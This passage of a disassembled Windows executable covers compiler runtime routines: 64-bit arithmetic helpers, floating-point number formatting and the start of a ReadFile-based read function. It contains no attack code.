		mov	[ebp+arg_4], ax


loc_40C0B9:				; CODE XREF: sub_40BEE0+1BDj
		test	[ebp+var_12], 2000h
		jz	short loc_40C0FD
		mov	eax, [ebp+var_8]
		lea	edx, [eax+1]
		mov	[ebp+var_8], edx
		test	[ebp+var_12], 0FFh
		jz	short loc_40C0DB
		movzx	edx, [ebp+var_12]
		mov	[ebp+var_1C], edx
		jmp	short loc_40C0E2
; ---------------------------------------------------------------------------


loc_40C0DB:				; CODE XREF: sub_40BEE0+1F0j
		movzx	edx, [ebp+arg_4]
		mov	[ebp+var_1C], edx


loc_40C0E2:				; CODE XREF: sub_40BEE0+1F9j
		mov	edx, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax], dl
		test	dl, dl
		jnz	short loc_40C0F6
		mov	[ebp+var_10], 1


loc_40C0F6:				; CODE XREF: sub_40BEE0+20Dj
		mov	[ebp+var_C], 0


loc_40C0FD:				; CODE XREF: sub_40BEE0+1DFj
		test	[ebp+var_12], 4000h
		jnz	short loc_40C10F
		cmp	[ebp+var_10], 0
		jz	loc_40C012


loc_40C10F:				; CODE XREF: sub_40BEE0+223j
		mov	edx, [ebp+arg_8]
		movzx	eax, byte ptr [ebp+var_4+3]
		mov	[edx+6], ax
		mov	eax, [ebp+var_8]


loc_40C11D:				; CODE XREF: sub_40BEE0+36j
					; sub_40BEE0+E2j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40BEE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C130	proc near		; CODE XREF: sub_40B000+CFp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_4]
		or	eax, eax
		jnz	short loc_40C151
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_C]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_8]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_40C1A1
; ---------------------------------------------------------------------------


loc_40C151:				; CODE XREF: sub_40C130+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_C]
		mov	eax, [esp+4+arg_8]


loc_40C15F:				; CODE XREF: sub_40C130+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40C15F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_4]
		xchg	eax, ecx
		mul	[esp+4+arg_0]
		add	edx, ecx
		jb	short loc_40C18A
		cmp	edx, [esp+4+arg_C]
		ja	short loc_40C18A
		jb	short loc_40C192
		cmp	eax, [esp+4+arg_8]
		jbe	short loc_40C192


loc_40C18A:				; CODE XREF: sub_40C130+4Aj
					; sub_40C130+50j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]


loc_40C192:				; CODE XREF: sub_40C130+52j
					; sub_40C130+58j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40C1A1:				; CODE XREF: sub_40C130+1Fj
		pop	ebx
		retn	10h
sub_40C130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C1B0	proc near		; CODE XREF: sub_40B000+116p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_40C1D1
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_40C1D1:				; CODE XREF: sub_40C1B0+Bj
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_40C1ED
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_40C1ED:				; CODE XREF: sub_40C1B0+27j
		or	eax, eax
		jnz	short loc_40C209
		mov	ecx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_C]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_8]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40C24A
; ---------------------------------------------------------------------------


loc_40C209:				; CODE XREF: sub_40C1B0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_C]
		mov	eax, [esp+0Ch+arg_8]


loc_40C217:				; CODE XREF: sub_40C1B0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_40C217
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_4]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_0]
		mul	esi
		add	edx, ecx
		jb	short loc_40C245
		cmp	edx, [esp+0Ch+arg_C]
		ja	short loc_40C245
		jb	short loc_40C246
		cmp	eax, [esp+0Ch+arg_8]
		jbe	short loc_40C246


loc_40C245:				; CODE XREF: sub_40C1B0+85j
					; sub_40C1B0+8Bj
		dec	esi


loc_40C246:				; CODE XREF: sub_40C1B0+8Dj
					; sub_40C1B0+93j
		xor	edx, edx
		mov	eax, esi


loc_40C24A:				; CODE XREF: sub_40C1B0+57j
		dec	edi
		jnz	short loc_40C254
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40C254:				; CODE XREF: sub_40C1B0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_40C1B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C260	proc near		; CODE XREF: sub_40B000+13Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		mov	ecx, [esp+arg_4]
		or	ecx, eax
		mov	ecx, [esp+arg_0]
		jnz	short loc_40C279
		mov	eax, [esp+arg_8]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_40C279:				; CODE XREF: sub_40C260+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	[esp+4+arg_4]
		add	ebx, eax
		mov	eax, [esp+4+arg_8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_40C260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C2A0	proc near		; CODE XREF: sub_40B240+5p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		movzx	eax, word ptr [ecx+6]
		and	eax, 7FF0h
		cmp	eax, 7FF0h
		jnz	short loc_40C2E3
		test	word ptr [ecx+6], 0Fh
		jnz	short loc_40C2D0
		cmp	word ptr [ecx+4], 0
		jnz	short loc_40C2D0
		cmp	word ptr [ecx+2], 0
		jnz	short loc_40C2D0
		cmp	word ptr [ecx],	0
		jz	short loc_40C2D7


loc_40C2D0:				; CODE XREF: sub_40C2A0+1Aj
					; sub_40C2A0+21j ...
		mov	edx, 2
		jmp	short loc_40C2DC
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2A0+2Ej
		mov	edx, 1


loc_40C2DC:				; CODE XREF: sub_40C2A0+35j
		mov	ax, dx
		movsx	eax, ax
		retn
; ---------------------------------------------------------------------------


loc_40C2E3:				; CODE XREF: sub_40C2A0+12j
		movzx	eax, word ptr [ecx+6]
		test	eax, 0FFFF7FFFh
		jnz	short loc_40C302
		cmp	word ptr [ecx+4], 0
		jnz	short loc_40C302
		cmp	word ptr [ecx+2], 0
		jnz	short loc_40C302
		cmp	word ptr [ecx],	0
		jz	short loc_40C306


loc_40C302:				; CODE XREF: sub_40C2A0+4Cj
					; sub_40C2A0+53j ...
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40C306:				; CODE XREF: sub_40C2A0+60j
		xor	eax, eax
		retn
sub_40C2A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C310	proc near		; CODE XREF: sub_40B250+5Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40CEF0
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_40C310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C330	proc near		; CODE XREF: sub_40B250+200p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40CF90
		add	esp, 8
		movsx	eax, ax
		pop	ebp
		retn
sub_40C330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C350	proc near		; CODE XREF: sub_40B250+20Bp
					; sub_40B250+498p

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		sub	esp, 0Ch
		fstcw	[esp+0Ch+var_2]
		mov	ax, [esp+0Ch+var_2]
		or	ah, 0Ch
		mov	[esp+0Ch+var_4], ax
		fldcw	[esp+0Ch+var_4]
		fistp	[esp+0Ch+var_C]
		fldcw	[esp+0Ch+var_2]
		mov	eax, dword ptr [esp+0Ch+var_C]
		mov	edx, dword ptr [esp+0Ch+var_C+4]
		add	esp, 0Ch
		retn
sub_40C350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C380	proc near		; CODE XREF: sub_40B250+4D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, ebx
		mov	ecx, esi
		cdq
		idiv	ecx
		mov	[ebp+var_8], eax
		mov	edx, esi
		imul	edx, eax
		mov	eax, ebx
		sub	eax, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40C380	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3B0	proc near		; CODE XREF: sub_40B250+64Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= word ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	eax, off_4119D0
		mov	al, [eax]
		mov	[ebp+var_1], al
		cmp	[ebp+arg_C], 0
		jg	short loc_40C3D5
		mov	[ebp+arg_C], 1
		mov	[ebp+arg_8], offset dword_4101A0


loc_40C3D5:				; CODE XREF: sub_40C3B0+16j
		mov	al, [ebp+arg_4]
		cmp	al, 66h
		jz	short loc_40C409
		cmp	al, 46h
		jz	short loc_40C409
		cmp	al, 67h
		jz	short loc_40C3EC
		cmp	al, 47h
		jnz	loc_40C653


loc_40C3EC:				; CODE XREF: sub_40C3B0+32j
		mov	ax, [ebp+arg_10]
		cmp	ax, 0FFFCh
		jl	loc_40C653
		movsx	eax, ax
		mov	edx, [ebp+arg_0]
		cmp	eax, [edx+2Ch]
		jge	loc_40C653


loc_40C409:				; CODE XREF: sub_40C3B0+2Aj
					; sub_40C3B0+2Ej
		add	[ebp+arg_10], 1
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_40C419
		cmp	al, 47h
		jnz	short loc_40C454


loc_40C419:				; CODE XREF: sub_40C3B0+63j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jnz	short loc_40C437
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_40C437
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_40C437:				; CODE XREF: sub_40C3B0+72j
					; sub_40C3B0+7Bj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_10]
		sub	edx, ecx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_40C454
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_40C454:				; CODE XREF: sub_40C3B0+67j
					; sub_40C3B0+98j
		cmp	[ebp+arg_10], 0
		jg	loc_40C520
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40C486
		test	word ptr [eax+38h], 8
		jz	short loc_40C49E


loc_40C486:				; CODE XREF: sub_40C3B0+CCj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_40C49E:				; CODE XREF: sub_40C3B0+D4j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		neg	edx
		cmp	[eax+2Ch], edx
		jge	short loc_40C4B8
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		neg	eax
		mov	[ebp+arg_10], ax


loc_40C4B8:				; CODE XREF: sub_40C3B0+FAj
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		neg	eax
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+2Ch]
		add	edx, ecx
		mov	[eax+2Ch], edx
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_40C4E9
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_40C4E9:				; CODE XREF: sub_40C3B0+12Dj
		movsx	eax, [ebp+arg_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+24h], eax
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_407630
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+28h], edx
		jmp	loc_40C845
; ---------------------------------------------------------------------------


loc_40C520:				; CODE XREF: sub_40C3B0+A9j
		mov	ax, [ebp+arg_10]
		cmp	[ebp+arg_C], ax
		jge	short loc_40C59A
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_407630
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_10]
		movsx	ecx, [ebp+arg_C]
		sub	eax, ecx
		mov	[edx+20h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40C577
		test	word ptr [eax+38h], 8
		jz	short loc_40C58C


loc_40C577:				; CODE XREF: sub_40C3B0+1BDj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax+24h]


loc_40C58C:				; CODE XREF: sub_40C3B0+1C5j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		mov	[eax+28h], edx
		jmp	loc_40C845
; ---------------------------------------------------------------------------


loc_40C59A:				; CODE XREF: sub_40C3B0+178j
		movsx	eax, [ebp+arg_10]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_407630
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_10]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	ax, [ebp+arg_10]
		sub	[ebp+arg_C], ax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40C5DF
		test	word ptr [eax+38h], 8
		jz	short loc_40C5F7


loc_40C5DF:				; CODE XREF: sub_40C3B0+225j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_40C5F7:				; CODE XREF: sub_40C3B0+22Dj
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	[eax+2Ch], edx
		jge	short loc_40C60D
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_40C60D:				; CODE XREF: sub_40C3B0+251j
		movsx	eax, [ebp+arg_C]
		push	eax
		movsx	eax, [ebp+arg_10]
		mov	edx, [ebp+arg_8]
		add	eax, edx
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_407630
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx
		jmp	loc_40C845
; ---------------------------------------------------------------------------


loc_40C653:				; CODE XREF: sub_40C3B0+36j
					; sub_40C3B0+44j ...
		mov	al, [ebp+arg_4]
		cmp	al, 67h
		jz	short loc_40C65E
		cmp	al, 47h
		jnz	short loc_40C6A9


loc_40C65E:				; CODE XREF: sub_40C3B0+2A8j
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		cmp	edx, [eax+2Ch]
		jge	short loc_40C67C
		test	word ptr [eax+38h], 8
		jnz	short loc_40C67C
		mov	edx, [ebp+arg_0]
		movsx	eax, [ebp+arg_C]
		mov	[edx+2Ch], eax


loc_40C67C:				; CODE XREF: sub_40C3B0+2B8j
					; sub_40C3B0+2C0j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		dec	edx
		mov	[eax+2Ch], edx
		test	edx, edx
		jge	short loc_40C694
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+2Ch], 0


loc_40C694:				; CODE XREF: sub_40C3B0+2D8j
		xor	eax, eax
		cmp	[ebp+arg_4], 67h
		setnz	al
		dec	eax
		and	eax, 20h
		add	eax, 45h
		mov	[ebp+arg_4], al
		jmp	short loc_40C6BF
; ---------------------------------------------------------------------------


loc_40C6A9:				; CODE XREF: sub_40C3B0+2ACj
		cmp	[ebp+arg_4], 61h
		jnz	short loc_40C6B5
		mov	[ebp+arg_4], 70h
		jmp	short loc_40C6BF
; ---------------------------------------------------------------------------


loc_40C6B5:				; CODE XREF: sub_40C3B0+2FDj
		cmp	[ebp+arg_4], 41h
		jnz	short loc_40C6BF
		mov	[ebp+arg_4], 50h


loc_40C6BF:				; CODE XREF: sub_40C3B0+2F7j
					; sub_40C3B0+303j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	[ebp+arg_8], ecx
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+10h]
		mov	al, [eax]
		mov	[ecx+edx], al
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jg	short loc_40C6F0
		test	word ptr [eax+38h], 8
		jz	short loc_40C708


loc_40C6F0:				; CODE XREF: sub_40C3B0+336j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		lea	ecx, [edx+1]
		mov	[eax+1Ch], ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	cl, [ebp+var_1]
		mov	[eax+edx], cl


loc_40C708:				; CODE XREF: sub_40C3B0+33Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+2Ch], 0
		jle	short loc_40C76B
		mov	ax, [ebp+arg_C]
		dec	ax
		mov	[ebp+arg_C], ax
		mov	edx, [ebp+arg_0]
		movsx	eax, ax
		cmp	[edx+2Ch], eax
		jge	short loc_40C730
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+arg_C], ax


loc_40C730:				; CODE XREF: sub_40C3B0+374j
		movsx	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		push	eax
		call	sub_407630
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	edx, [ebp+arg_C]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	[eax+1Ch], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		movsx	ecx, [ebp+arg_C]
		sub	edx, ecx
		mov	[eax+20h], edx


loc_40C76B:				; CODE XREF: sub_40C3B0+35Fj
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+1Ch]
		mov	eax, [eax+10h]
		add	eax, edx
		mov	[ebp+arg_8], eax
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	dl, [ebp+arg_4]
		mov	[eax], dl
		cmp	[ebp+arg_10], 0
		jl	short loc_40C799
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Bh
		jmp	short loc_40C7A9
; ---------------------------------------------------------------------------


loc_40C799:				; CODE XREF: sub_40C3B0+3D9j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	2Dh
		neg	[ebp+arg_10]


loc_40C7A9:				; CODE XREF: sub_40C3B0+3E7j
		mov	[ebp+var_8], 0
		jmp	short loc_40C7DB
; ---------------------------------------------------------------------------


loc_40C7B2:				; CODE XREF: sub_40C3B0+430j
		push	0Ah
		movsx	eax, [ebp+arg_10]
		push	eax
		call	sub_40D1B0
		add	esp, 8
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	[ebp+eax+var_12], dl
		mov	eax, [ebp+var_1C]
		mov	[ebp+arg_10], ax
		inc	[ebp+var_8]


loc_40C7DB:				; CODE XREF: sub_40C3B0+400j
		cmp	[ebp+arg_10], 0
		jg	short loc_40C7B2
		cmp	[ebp+var_8], 2
		jge	short loc_40C7FF
		mov	al, [ebp+arg_4]
		cmp	al, 65h
		jz	short loc_40C7F3
		cmp	al, 45h
		jnz	short loc_40C7FF


loc_40C7F3:				; CODE XREF: sub_40C3B0+43Dj
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h


loc_40C7FF:				; CODE XREF: sub_40C3B0+436j
					; sub_40C3B0+441j
		cmp	[ebp+var_8], 0
		jnz	short loc_40C82C
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	byte ptr [eax],	30h
		jmp	short loc_40C82C
; ---------------------------------------------------------------------------


loc_40C813:				; CODE XREF: sub_40C3B0+480j
		mov	eax, [ebp+arg_8]
		lea	edx, [eax+1]
		mov	[ebp+arg_8], edx
		mov	edx, [ebp+var_8]
		dec	edx
		mov	[ebp+var_8], edx
		mov	dl, [ebp+edx+var_12]
		add	dl, 30h
		mov	[eax], dl


loc_40C82C:				; CODE XREF: sub_40C3B0+453j
					; sub_40C3B0+461j
		cmp	[ebp+var_8], 0
		jg	short loc_40C813
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		mov	ecx, [eax+1Ch]
		mov	ebx, [eax+10h]
		add	ecx, ebx
		sub	edx, ecx
		mov	[eax+24h], edx


loc_40C845:				; CODE XREF: sub_40C3B0+16Bj
					; sub_40C3B0+1E5j ...
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax+38h]
		and	eax, 14h
		cmp	eax, 10h
		jnz	short loc_40C888
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [eax+1Ch]
		add	edx, ecx
		mov	ecx, [eax+20h]
		add	edx, ecx
		mov	ecx, [eax+24h]
		add	edx, ecx
		mov	eax, [eax+28h]
		add	eax, edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+34h]
		cmp	[ebp+var_8], eax
		jge	short loc_40C888
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+34h]
		sub	edx, [ebp+var_8]
		mov	[eax+18h], edx


loc_40C888:				; CODE XREF: sub_40C3B0+4A2j
					; sub_40C3B0+4CAj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40C3B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C890	proc near		; CODE XREF: sub_40B8E0+348p
					; DMN0:0040CC0Bp

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_40C8C5
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 2
		jz	short loc_40C8CC


loc_40C8C5:				; CODE XREF: sub_40C890+18j
		xor	eax, eax
		jmp	loc_40CBB5
; ---------------------------------------------------------------------------


loc_40C8CC:				; CODE XREF: sub_40C890+33j
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		add	eax, edx
		test	byte ptr [eax+4], 48h
		jz	short loc_40C92E
		cmp	byte ptr [eax+5], 0Ah
		jz	short loc_40C92E
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	edx, ebx
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, ebx
		sar	ecx, 5
		mov	ecx, dword_413988[ecx*4]
		mov	dl, [ecx+edx+5]
		mov	[eax], dl
		inc	edi
		dec	[ebp+arg_8]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	byte ptr [edx+eax+5], 0Ah


loc_40C92E:				; CODE XREF: sub_40C890+56j
					; sub_40C890+5Cj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		mov	eax, [edx+eax]
		push	eax
		call	dword_411E18	; ReadFile
		test	eax, eax
		jnz	short loc_40C99E
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	[ebp+var_10], eax
		cmp	eax, 5
		jnz	short loc_40C97F
		call	sub_4083A0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_40CBB5
; ---------------------------------------------------------------------------


loc_40C97F:				; CODE XREF: sub_40C890+DAj
		cmp	[ebp+var_10], 6Dh
		jnz	short loc_40C98C
		xor	eax, eax
		jmp	loc_40CBB5
; ---------------------------------------------------------------------------


loc_40C98C:				; CODE XREF: sub_40C890+F3j
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_408240
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_40CBB5
; ---------------------------------------------------------------------------


loc_40C99E:				; CODE XREF: sub_40C890+CCj
		mov	eax, [ebp+var_4]
